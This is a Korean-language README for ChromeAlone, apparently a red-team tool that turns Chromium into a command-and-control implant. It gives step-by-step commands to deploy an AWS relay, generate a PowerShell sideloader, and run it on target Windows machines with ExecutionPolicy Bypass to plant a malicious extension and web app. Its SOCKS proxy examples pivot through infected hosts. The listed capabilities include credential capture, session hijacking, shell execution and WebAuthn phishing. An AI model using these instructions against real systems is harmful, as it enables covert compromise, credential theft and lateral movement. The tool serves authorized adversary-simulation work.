praetorian-inc/chromealoneChromium 브라우저를 C2 임플란트로 변환하는 도구
ChromeAlone은 Cobalt Strike나 Meterpreter와 같은 기존 임플란트를 대체할 수 있는 브라우저 임플란트입니다. 이 저장소는 간단한 빌드 프로세스를 제공하여 관리 콘솔을 생성하고, 인프라를 배포하며, 타겟에서 실행할 powershell 사이드로더 스크립트를 생성합니다.
설치 후 각 ChromeAlone 임플란트는 다음 메커니즘을 제공합니다:
먼저 도커 컨테이너를 빌드하세요: docker build -t chromealone .
현재 지원되는 두 가지 배포 모드가 있습니다. 어느 경우든 ChromeAlone git 저장소의 기본 디렉토리에서 docker를 실행해야 합니다.
이를 위해서는 ~/.aws/credentials에 자격 증명이 저장된 AWS 계정이 구성되어 있어야 합니다. 계정에 Route53 권한과 함께 전체 EC2 쓰기 권한이 있는지 확인하세요. 또한 Route53에 등록된 도메인을 포함하는 최소 1개의 호스팅 영역이 구성되어 있다고 가정합니다. 이 조건이 충족되면 다음 명령을 실행할 수 있습니다.
docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --domain=sendmea.click --appname=UpdateService --region=us-west-2
domain 값은 Route53 설정에서 관리하는 도메인과 일치해야 합니다. appname은 원하는 값으로 설정할 수 있으며, 배포 시 디스크의 여러 레지스트리 키와 폴더 이름을 지정하는 데 사용됩니다. UpdateService와 같이 비교적 무해한 이름을 사용하는 것이 좋습니다.
region은 선택 사항이며, 지정하지 않으면 기본값은 us-east-2입니다.
이렇게 하면 BATTLEPLAN 릴레이 서버가 AWS에 배포되고 다음 아티팩트가 생성됩니다:
output/client - ChromeAlone 설치를 관리하는 제어 웹 앱
output/sideloader.ps1 - 타겟에서 실행하여 로컬 브라우저 인스턴스를 감염시키는 설치 스크립트. 참고: Isolated Web App만 로드하는 iwa-sideloader.ps1 파일과 브라우저 확장 프로그램만 로드하는 extension-sideloader.ps1 파일도 생성됩니다.
output/extension - 생성된 악성 브라우저 확장 프로그램
output/iwa - 생성된 악성 Isolated Web App 서명된 웹 앱 번들 파일
output/relay-deployment - 호스트에 직접 액세스하기 위한 SSH 키를 포함한 AWS 배포의 Terraform 아티팩트
이미 인스턴스를 배포한 경우 output/relay-deployment/terraform.tfvars에는 새 사이드로더 스크립트 + 악성 확장 프로그램을 생성하는 데 필요한 모든 정보가 포함됩니다. ChromeAlone 도커 파일을 tfvars 파일에 지정하면 배포 단계를 건너뛰고 연결을 처리하는 데 필요한 메타데이터를 유지합니다.
빌드 스크립트 docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --tfvars=/project/path/to/terraform.tfvars --appname=UpdateService를 실행하면 배포를 위한 새로운 악성 사이드로더가 생성됩니다.
sideloader.ps1을 가져와 타겟 Windows 10 또는 Windows 11 시스템에서 powershell.exe ExecutionPolicy Bypass -File .\path\to\sideloader.ps1을 실행하여 실행합니다. 추가 플래그를 사용하여 NativeMessaging 호스트 설치(셸 명령 실행에 필요) 또는 Chrome 강제 재시작(스크립트 실행 후 즉시 확장 프로그램을 실행하려는 경우)을 수행할 수 있습니다. 두 플래그를 모두 사용한 예시 호출은 powershell.exe -ExecutionPolicy Bypass .\sideloader.ps1 -InstallNativeMessagingHost $true -ForceRestart $true입니다. 이 플래그를 자동으로 사용하려면 스크립트 상단의 기본값을 false에서 true로 수정할 수도 있습니다.
전체 스크립트 실행에는 약 20-30초가 소요됩니다.
ChromeAlone이 로드되면 output/client/index.html을 열어 연결된 모든 호스트를 볼 수 있습니다. 이 웹 앱은 배포된 BATTLEPLAN 릴레이 인스턴스에 다시 연결하도록 사전 구성됩니다. 기본적으로 릴레이는 방화벽으로 보호되어 서버를 배포한 IP의 포트 1080-1181에서만 제어 액세스를 허용합니다. 이를 수정하려면 EC2 인스턴스의 네트워크 설정을 업데이트하여 추가 시스템을 포함해야 합니다.
대부분의 명령은 WebUI에서 실행할 수 있습니다:
Quick Commands 섹션을 통해, Execute Command 섹션에서 대상 에이전트를 선택해야 함)Captured Data 탭에 표시됨)Execute Command 섹션을 통해)File Browser 탭을 통해)Interactive Shell 탭을 통해)이 중 주요 예외는 SOCKS 프록시입니다. 감염된 각 호스트에는 Agent Information 섹션에서 확인할 수 있는 고유한 SOCKS 포트가 할당되며, 각 에이전트에는 Port 필드가 있습니다. 할당된 포트는 output/client/config.js에 저장된 admin 자격 증명과 함께 사용하여 호스트별 SOCKS 프록시를 구성할 수 있습니다.
예를 들어, 포트가 1081인 에이전트가 있고, 도메인은 chrome.alone, 사용자 이름은 admin(항상 이렇습니다), 비밀번호는 thisisnotarealpassword라고 가정해 보겠습니다. 다음은 몇 가지 사용 예입니다:
proxychains -q socks5 admin:[email protected]:1081 curl http://ifconfig.me
xfreerdp /cert:ignore /v:<target RDP host> /u:<target RDP username> /proxy:socks5://admin:[email protected]:1081
curl -x socks5h://chrome.alone:1081 -u "admin:thisisnotarealpassword" http://ifconfig.me
ChromeAlone 저장소는 여러 구성 요소로 나뉘며, 이 중 다수는 평가의 일부로 개별적으로 사용될 수 있지만, 함께 사용하면 전체 Chromium 브라우저 임플란트 툴체인을 나타냅니다.
BATTLEPLAN - 툴체인의 관리 서버 구성 요소입니다. AWS 환경에 배포하기 위한 terraform 스크립트와 배포 후 서버와 상호 작용하기 위한 HTML 클라이언트가 포함되어 있습니다.BLOWTORCH - Direct Socket 권한을 사용하여 SOCKS TCP 프록시 및 websocket 서버를 구현하여 다른 Chrome 구성 요소 간의 통신을 가능하게 하는 악성 Isolated Web Application입니다. 또한 BATTLEPLAN 릴레이 서버로의 메시징 브리지 역할을 합니다.DOORKNOB - Isolated Web App 및 Chrome 확장 프로그램용 powershell 사이드로더를 생성하는 데 사용되는 일련의 스크립트입니다. build.sh의 스크립트는 두 개의 개별 사이드로더를 하나로 결합하는 단일 Powershell 설치 프로그램 스크립트를 만드는 방법의 예를 제공합니다.HOTWHEELS - 모든 기능을 Web Assembly로 구현한 악성 Chrome 확장 프로그램입니다. 자격 증명 캡처, 세션 하이재킹, 셸 명령 실행, 파일 시스템 읽기 등 ChromeAlone의 기능 대부분을 제공합니다.PAINTBUCKET - 일반 WebAuthn 요청이 있을 때 비활성 탭의 iFrame 내에 추가 WebAuthn 요청을 숨겨 WebAuthn 요청 피싱을 가능하게 하는 일련의 콘텐츠 스크립트입니다.이 도구는 Praetorian Security의 Mike Weber가 작성했습니다.
이 작업은 이 분야에 기여한 많은 다른 연구자 도구와 블로그 게시물의 어깨 위에 세워졌습니다. 그들의 작업 없이 이 프로젝트는 존재하지 않았을 것입니다. 이 프로젝트가 사용하는 내부 구조를 더 깊이 파고들고 싶다면 다음 자료를 읽어보시길 권장합니다:
ChromeAlone은 Apache License, Version 2.0에 따라 라이선스가 부여됩니다.
Copyright 2025 Praetorian Security, Inc
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.